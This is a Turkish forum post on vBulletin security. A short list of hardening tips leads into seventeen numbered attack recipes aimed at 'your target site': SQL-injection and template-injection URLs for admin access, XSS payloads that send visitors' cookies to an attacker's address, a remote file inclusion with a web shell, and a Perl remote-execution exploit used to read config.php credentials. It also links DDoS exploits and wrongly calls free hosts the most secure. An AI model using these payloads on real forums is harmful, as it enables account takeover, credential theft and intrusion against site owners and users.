folder Tahribat.com Forumları
linefolder Genel
linefolder Vbulletin Açıkları Ve Kapatma Yöntemleri



Vbulletin Açıkları Ve Kapatma Yöntemleri

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    ByNiko
    ByNiko's avatar
    Kayıt Tarihi: 12/Mayıs/2007
    Erkek
    vBulletin son zamanlarda popülerleşen, dünya üzerinde 250.000 kadar lisanslı, milyonlarca ise lisansız kullanıcısı olan, PHP web programlama diliyle yazılmış bir forum betiği [scripti] dir.

    Bu yazımda sizlere bildiğim kadarıyla vbulletinin açıklarını anlatacağım. Açıkları tek tek açıklamadan önce bu saldırılardan nasıl korunacağımızı öğrenelim.

    VBulletin Güvenliği

    Burada forumunuzu en yüksek güvenlik seviyesinde tutmanız için gereken TEMEL şeyleri sıralıyorum. Eminim profesyonel VBulletin kullanıcıları aşağıda sıralayacaklarımı biliyorlardır ama VBulletin'e yeni başlayanların pek bildiklerini söyleyemeyeceğim. Tabii ki hacklenemez diye bir şey söz konusu değil ama aşağıdaki şeyleri uygularsanız forumunuz %80 daha güvenli olacaktır.

    1-) Forumunuzu daima en yüksek sürümlere upgrade edin.

    2-) Hiç bir hack ve plugin yüklemeyin (Özellikle PHP dosyalarından değişiklik yapılanları). Tertemiz bir VBulletini hacklemek neredeyse imkansızdır. Oluşan açıklar genelde yaptığınız eklentilerden ve hostunuzdan kaynaklanır.

    3-) Admin ve mod kontrol panellerinin şifrelerini koruyun. Ayrıntılı (İngilizce) açıklamaya buradan ulaşabilirsiniz.

    4-) Tools.php dosyasının (vB3) websitenizde bulunmadığından emin olun. Bu dosya kesinlikle upload edilmemelidir. İşi bittikten sonra silinmelidir.

    5-) phpMyAdmin kullanıyorsanız, giriş kısmının şifrelendiğinden emin olun. Aksi taktirde herkes ulaşabilir.

    6-) Herhangi bir saldırıdan sonra tüm cpanel, FTP ve admin şifrelerinizi değiştirin.

    7-) Admin ve mod şifrelerinin en az 9-10 karakter olmasına, bu karakterlerin sayı ve harflerden oluşmasına dikkat edin. Şifreleriniz MD5 şeklinde şifrelendiği için hem harf hemde rakamla oluşan 10 karakterli bir şifrenin çözülmesi imkasız bile olabilir.

    8-) FORUMUNUZDA ASLA HTML KULLANIMINA İZİN VERMEYİN.

    9-) Forumunuzu kurduktan sonra install klasörünüdeki install.php ve upgrade1.php adlı dosyaları silin.

    10-) Sitenizi sağlam hostlara kurun. Forumunuz ne kadar güvenli olursa olsun hostunuz saldırı yediği zaman sizde etkileneceksiniz.

    11-) Sık sık DATABASE yedeği alın. Bazı Hosting firmaları her gün yedek alım işlemlerini gerçekleştirmektedir. Ben günde 3-4 kez yedek alıyorum. Böylece saldırı yiyip, tablolara ve foruma herhangi bir zarar gelirse 4-5 saatlik zararla atlatıyorum.

    Ben bu işlemlerin hepsini uyguluyorum. Siteme ne saldırı geldiyse hostun zayıflığı yüzünden geldi. O yüzden sağlam hostlar seçin. Her zaman en güvenli hostlar FREE hostlardır.

    -------->
    Bu kısımı forumda daha önce yazmıştım ama bu dökümanın içinde de olması daha uygun oldu...
    -------->

    VBulletin’e Karşı Yapılabilecek Saldırılar;

    Not: Aslında bu kısım hacking ağırlıklı ama bir hacker gibi düşünmeden kendinizi hackerlerden koruyamazsınız. Bu yazıyı hazırlamamın sebebi çoğu arkadaşımızın lamerler tarafından hacklenmesidir. Ve hangi açıklar yüzünden hacklendiklerini bilmemeleridir. Ayrıca acemilerin bazı yerleri anlamayacaklarını tahmin ediyorum. Sormak istediğiniz yerler olursa sorabilirsiniz.

    Yazımın bundan sonraki bölümü hackerleri daha çok ilgilendiriyor J Şimdi başlıklar halinde sizlere vbulletinin birçok açığını anlatacağım; [NOT: Bazı açıklar çok eski olduğu için hedef site bulmak zor olabilir] Öncelikle SQL Enjeksiyon, RFI ve exploit açıkları ile başlıyorum;

    1-) LAST.PHP Dosyasını SQL Enjeksiyona Uğratmak;

    http://......................./last.php?fs...

    Hedef site yerine hedef sitenizin adresini yazın ve URL’yi browserda çalıştırın. Eğer açık mevcutsa siteye admin olarak giriş yapabileceksiniz.

    Açık Bulunma Tarihi: 2004-11-15

    2-) MISC.PHP Dosyasını PHP Enjeksiyonuna Uğratmak;

    Önemli : vBulletin 3.06 sürümü aşağısı için geçerlidir. 3.0.1’de test edilmiştir.

    http://................../misc.php?do=page&template= (http://................../misc.php?do=page&template=){${phpinfo()}}

    Hedefsite kısmına saldırı yapacağınız siteyi yazıp URL’yi browserda çalıştırın.

    Açık Bulunma Tarihi: 2005-02-22

    3-) Avatarların İçine Kod Gizleyerek Üyeleri Log-out etmek [ =<---3.0.7 versiyon]

    <?php
    header("Location: ;" target="_blank">http://www.site.com/forum/login.php?logout=true";
    exit;
    ?>

    Site.com yazan yere hedef sitenin adresini yazın. Ve kodu .jpg olarak kaydedin. Kaydetdiğiniz bu jpg’yi avatarınızı olarak upload edin. Şimdi mesajlarınızı görüntüleyen herkes otomatik olarak logout olacaktır.

    4-) Shoutbox Açığı;

    vBulletinin eklentilerinden olan Shoutbox yani chatleşme modülünde HTML kodu aktifse yani kullanılabiliyorsa şu kodu shout [chat mesajı] olarak gönderin.

    <pre a=’>’ onmouseover=’document.location="http://www.yönlenecekadres.com?c="+document.cookie’ b=’</pre’ >

    Yönlenecekadres.com yerine sitenin yönlenmesini istediği yeri yazın. HTML kodu aktifse site verdiğiniz adrese yönlenecektir. Tüm vBulletin [3.5.4 dışında] için geçerlidir, yeter ki HTML kullanımı aktif olsun.

    Google Araması: /vbshout.php?do=archive

    5-) Siteye Admin veya Mod Olarak Giriş Yapmak [ <--- 3.0.0]

    http://www.xxx.com/admincp/index.php?vb_login_username="admin_Nicki" (http://www.xxx.com/admincp/index.php?vb_login_username=)
    http://www.xxx.com/modcp/index.php?vb_login_username="Mod_Nicki" (http://www.xxx.com/modcp/index.php?vb_login_username=)

    Şimdi xxx.com yerine hedefsitemizi yazıyoruz. Admin veya mod nickini yazıyoruz. Sonra bu linki browserda çalıştırıyoruz. Aaa birde bakmışız, yazdığımız admin nicki ile admincp veya modcpye giriş yapmışız. 3.0.0 veya alt sürümleri için geçerlidir.

    6-) Upgrade1.php Açığı:

    Forumunuzu upgrade ederken install klasörü içinde upgrade1.php dosyası oluşur. Eğer admin upgrade sonrası bu dosyayı silmemişse vbulletin tablolarına, dolayısı ile user tablesindeki MD5 şeklinde kriptolanmış admin şifrelerine ulaşabilirsiniz.

    www.hedef.com/forum/install/upgrade1.php (http://www.hedef.com/forum/install/upgrade1.php)

    Hedef yerine hedef sitesinizi yazıp URL’yi browserda çalıştırın. Açık varsa tablolara ulaşabilirsiniz. Bir ara bu açık benim sitemde de vardı. 3.0.9 için tarafımca test edilmiştir yani J Sanırım tüm sürümler için geçerli...

    7-) Admincp’den Alınan Yedekleri Bulmak [<-- 3.0.8]:

    Admincpden alınan yedekler doğruca .sql şeklinde FTP’ye yollanır. Şimdi vereceğim exploit ile bu yedeklerin yerlerini bulabilecek, dolayısı ile yedeği indirebileceksiniz. Yedeği indirip user tablosundaki adminin şifresini kırıp admincpye ulaşabilirsiniz. Exploit C exploitidir. Şimdi exploit nasıl kullanılır onu anlatmayacağım, öncelikle compile etmeniz gerekiyor...

    Exploit linki: http://www.pspturkey.com/vbulletin_p...r_exploit1.txt (http://www.pspturkey.com/vbulletin_p...r_exploit1.txt)

    Bu exploiti kullanarak dediğim gibi admincp aracılığı ile alınan yedekleri bulup, indirebilirsiniz.

    8-) MKPortal ile Entegrasyon Edilmiş Vbulletinleri Hacklemek;

    MKPortal 1.1 ile entegre edilmiş tüm Vbulletin versiyonları için geçerlidir. Kullanımı şu şekildedir;

    http://[hedef.com]/index.php?ind=[SQL] (http://[hedef.com]/index.php?ind=[SQL])

    SQL yerine herhangi bir SQL kodu yazabilirsiniz. Mesela;

    http://hedef.com/index.php?ind=’,userid=’1 (http://hedef.com/index.php?ind=’,userid=’1)

    Bu kodu browserda çalıştırırsanız siteye admin olarak giriş yaparsınız. Ayrıca XSS açığıda mevcuttur;

    http://[hedef.com]/includes/pm_popup.php?u1=[XSS]&m1=[XSS]&m2=[XSS]&m3=[XSS]&m4=[XSS] (http://[hedef.com]/includes/pm_popup.php?u1=[XSS]&m1=[XSS]&m2=[XSS]&m3=[XSS]&m4=[XSS])

    Bu URL’yi ise browserda çalıştırarak XSS saldırısı gerçekleştirebilirsiniz. URL’deki XSS yazan kısımları editlemeniz gerekiyor.

    9-) İmpex RFI Saldırısı:

    Öncelikle http://www.pspturkey.com/vbulletin_p...r_exploit2.txt (http://www.pspturkey.com/vbulletin_p...r_exploit2.txt) adresindeki kodları .php dosyası olarak kaydedin ve herhangi bir hosta kaydedip browserda çalıştırın. Gerekli yerleri doldurarak saldırıyı gerçekleştirebilirsiniz. Veya kısa yoldan http://www.hedef.com/impex/ImpExData...shelladresiniz (http://www.hedef.com/impex/ImpExData...shelladresiniz) hedef yerine hedefsiteyi, fsoshelladresiniz kısmınada herhangi bir Shell adresi yazarak RFI saldırısı gerçekleştirebilirsiniz.

    Herhalde Impex’in kurulu olduğu vbulletinlerde çalıştığını söylememe gerek yoktur.

    10-) DDOS Saldırıları; 
     Denyo
     adlı programla sitede İmage Vertication yani üye olurken resim kodu doğrulama kısmı yoksa siteye DDOS atakları yapabilir, yüzlerce üye oluşturabilirsiniz Ayrıca
    VBulletin forumlara DDOS saldırısı yapmak için kodlanmış PERL exploitlerini de kullanabilirsiniz.

    Mesela http://www.pspturkey.com/vbulletin_p...r_exploit3.txt (http://www.pspturkey.com/vbulletin_p...r_exploit3.txt) bu exploit ile 3.5.3 ve altı sürümlere DDOS atağı yapabilirsiniz. Kodları .pl olarak kaydedin ve Active Perl yardımıyla kodları compile edip saldırıyı gerçekleştirin.

    11-) Okunabilir Config.php ile Hack;

    İncludes/config.php dosyası 777 yani okunabilir ve yazılabilir olarak ayarlanmışsa;

    www.hedefsite.com/includes/config.php (http://www.hedefsite.com/includes/config.php) linkini kullanarak config.php dosyasını okuyabilirsiniz. Burada host tipinde localhost dışında bir değer varsa [mysql.host.com gibi] veritabanı kullanıcı adı, şifresi ve db adı ile vbulletin veritabanına uzaktan bağlantı sağlayabilirsiniz. Bunu nasıl yapabileceğiniz anlatmıyorum şimdilik. Eğer localhost değeri varsa site ile aynı hosttan hesap açın, aynı hosttaki hesabınızdan config.php de bulunan bilgilere göre vbulletin veritabanına ulaşım sağlayabilirsiniz. Ha bu arada mysql şifresinin, FTP ve Cpanel şifresi ile aynı olma ihtimalini göz ardı etmeyin Ki çoğu sitede aynıdır.

    12-) Calander.php Açığı;

    Çok eski bir açık ama neyse yinede bilmekte fayda var

    http://www.hedefsite.com/calendar.ph...etday&day=2001 (http://www.hedefsite.com/calendar.ph...etday&day=2001) -8-15&comma=%22;echo%20’’;%20echo%20%60<command>%20%6 0;die();echo%22

    Hedefsite.com yerine hedefsitenizi yazın, browserde çalıştırın, vBulletin 2.0.3 [peeh size çok eski demiştim ] sürümleri için geçerlidir.

    13-) Vbulletin 3.0.7 Cookie Çalma Açığı;

    Öncelikle http://www.pspturkey.com/vbulletin_p...r_exploit4.txt (http://www.pspturkey.com/vbulletin_p...r_exploit4.txt) adresindeki kodları psphacker.php ismiyle php dosyası olarak kaydedin. Sonra herhangi bir hosta kaydedin.

    onmouseover=’location.href= "http://www.phpdosyasınıuploadettiğinizadres.com/psphacker.php?nm=Black-code.net&re=http://www.linux-soul.net/vb/showthread.php?t=1245&id="+document.Cookie’#

    Bu kodu ise forumda mesaj olarak herhangi bir yere flash dosyası olarak gönderin. Yani editörde flash gösterme özelliği olması lazım. Mesajınızı görüntüleyenlerin cookieleri [Şifreleri vsvs] mail adresinize gidecektir. Size verdiğim php kodlarının içinde “Your Email Adress” diye bir kısım var. Oraya kendi Emailiniz ile değiştirmeniz gerekiyor. Cookieleri aldıktan sonra cookie editor ile admin cookiesini kendi cookieniz ile değiştirin. Siteye tekrar girdiğinizde admin olarak girmiş olacaksınız....

    14-) vBulletin Üye Grupları Açığı:

    Aslında bu tam anlamıyla açık değil. Sitenin ana admini co-admin gibi özel kullanıcı grupları yaratır. Bu kullanıcı grupları genelde admincpye girebilir. Eğer admin bu üye gruplarına üye olmayı deaktif etmezse kullanıcı profil ayarlarımızdan co-admin olup admincp’ye ulaşabiliriz J Bu açığa sahip olan 3-4 tane site görmüştüm. Bu açığın oluşmasının tek sebebi adminin ihmalkarlığıdır. Admincpye girdikten sonra neler yapabileceğiniz hayal gücünüze kalmış !

    15-) vBulletin 3.0.9 SQL Enjeksiyonu & XSS Saldırıları;

    SQL-Injection: (vB 3.0.9)
    ===============
    > /joinrequests.php:
    POST: <do=processjoinrequests&usergroupid=22&request[[SQL-Injection]]=0>
    > /admincp/user.php:
    GET: <do=find&orderby=username&limitnumber=[SQL-Injection]>
    GET: <do=find&orderby=username&limitstart=[SQL-Injection]>
    > /admincp/usertitle.php:
    GET: <do=edit&usertitleid=0XF>
    > /admincp/usertools.php:
    GET: <do=pmuserstats&ids=0XF>
    o XSS: (Fixed in vB 3.0.9)
    =====
    > /admincp/css.php:
    GET: <do=doedit&dostyleid=1&group=[XSS]>
    > /admincp/index.php:
    GET: <redirect=[XSS]>
    > /admincp/user.php:
    GET: <do=emailpassword&email=[XSS]>
    > /admincp/language.php:
    GET: <do=rebuild&goto=[XSS]>
    > /admincp/modlog.php:
    GET: <do=view&orderby=[XSS]>
    > /admincp/template.php:
    GET: <do=colorconverter&hex=[XSS]>
    GET: <do=colorconverter&rgb=[XSS]>
    GET: <do=modify&expandset=[XSS]
    o Arbitrary File Upload:
    =======================
    > /admincp/image.php:
    POST: <do=upload&table=avatar>
    POST: <do=upload&table=icon>
    POST: <do=upload&table=smilie>
    ================
    > /modcp/announcement.php:
    POST: <do=update&announcementid=1&start=24-07-05&end=30-07-05
    &announcement[0]=[SQL-Injection]>
    > /modcp/user.php:
    GET: <do=avatar&userid=0XF>
    There are still a lot of security related bugs in the administrator
    panel of the vbulletin software. An authorized user could elevate his
    privileges and read sensitive data.
    > /admincp/admincalendar.php:
    POST: <do=update&calendarid=1&calendar[daterange]=1970-2030&
    calendar[0]=[SQL-Injection]>
    POST: <do=updatemod&moderatorid=1&moderator[calendarid]=0XF>
    > /admincp/cronlog.php:
    POST: <do=doprunelog&cronid=0XF>
    POST: <do=prunelog&cronid=0XF>
    > /admincp/email.php:
    POST: <do=makelist&user[0]=[SQL-Injection]>
    > /admincp/help.php:
    POST: <do=doedit&help[script]=1&help[0]=[SQL-Injection]>
    > /admincp/language.php:
    POST: <do=update&rvt[0]=[SQL-Injection]>
    > /admincp/phrase.php:
    POST: <do=completeorphans&keep[0]=[SQL-Injection]>
    > /admincp/usertools.php:
    POST: <do=updateprofilepic>
    Even a privileged user should not be able to add posts, titles,
    announcements etc. with HTML/JavaScript-Code in it.
    > Not properly filtered: (XSS)
    </admincp/announcement.php>
    </admincp/admincalendar.php>
    </admincp/bbcode.php>
    </admincp/cronadmin.php>
    </admincp/email.php?do=genlist>
    </admincp/faq.php?do=add>
    </admincp/forum.php?do=add>
    </admincp/image.php?do=add&table=avatar/icon/smilie>
    </admincp/language.php>
    </admincp/ranks.php?do=add>
    </admincp/replacement.php?do=add>
    </admincp/replacement.php?do=edit>
    </admincp/template.php?do=addstyle>
    </admincp/template.php?do=edit>
    </admincp/usergroup.php?do=add>
    </admincp/usertitle.php>

    Exploitte anlatılan herşeyi çevirmeden sizlere aktarıyorum. Zaten kodlara bakan nasıl kullanıldığını anlar.... SQL Enjeksiyonuna uğratabileceğiniz linkleri ve hangi SQL komutlarını kullanacağınızı vermiş size...



    16-) vBulletin 3.0.6 Templates Remote Execute Exploit:

    Öncelikle [U]http://www.pspturkey.com/vbulletin_p...r_exploit5.txt (http://www.pspturkey.com/vbulletin_p...r_exploit5.txt) adresinden exploiti .pl olarak farklı kaydedin. Sonra bu exploiti perlde derleyin. Kullanımı şu şekildedir;

    Perl exploitadı.pl www.hedefsite.com (http://www.hedefsite.com/) /varsa dizin yolu/ *cmd komutu

    Örnek; perl psphacker.pl www.pspturkey.com (http://www.pspturkey.com/) /forum/ *ls

    Bu komutu yazdığımızda www.pspturkey.com/forum (http://www.pspturkey.com/forum) adresindeki dosyaları görebiliriz. Aynı şekilde;

    perl psphacker.pl www.pspturkey.com (http://www.pspturkey.com/) /forum/ *cat includes/config.php komutunu kullanarak config.php içeriğini okuyabilirsiniz. [11. açığa bakın] Linux ve Windows komutlarını bildiğiniz taktirle bu yöntemle siteye FSO upload edebilir, dosya silebilir, index atabilirsiniz. Ancak şurası bir gerçek ki bu açığa yakalanan site neredeyse hiç yok

    17-) Vbulletin XSS - Cookie açığı (<---3.0.7)

    3.00, 3.0.7 sürümler arasında bulunan $pm[’title’] = htmlspecialchars_uni($pm[’title’]); private.php de bulunan komut nedeniyle bu açık meydana gelmekte. Özel mesaj gönderirken
    <script>javascript:alert(document.cookie);</Script> kodunu yazıp önizleme yaparsanız sitenin tüm cookie bilgilerine ulaşabiliyorsunuz. Oldukça etkili bir açık... 

    Serefsizlerin serefsizce yasadigi bu dünyada Sende serefsizce Yasiyorsan ADiLiGiNE boncuk takta NAZAR DEGMESiN!!..
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    ByNiko
    ByNiko's avatar
    Kayıt Tarihi: 12/Mayıs/2007
    Erkek
    Bunuda Eklemememde Fayda var. NOT : ALINTIDIR.

    Serefsizlerin serefsizce yasadigi bu dünyada Sende serefsizce Yasiyorsan ADiLiGiNE boncuk takta NAZAR DEGMESiN!!..
Toplam Hit: 898 Toplam Mesaj: 2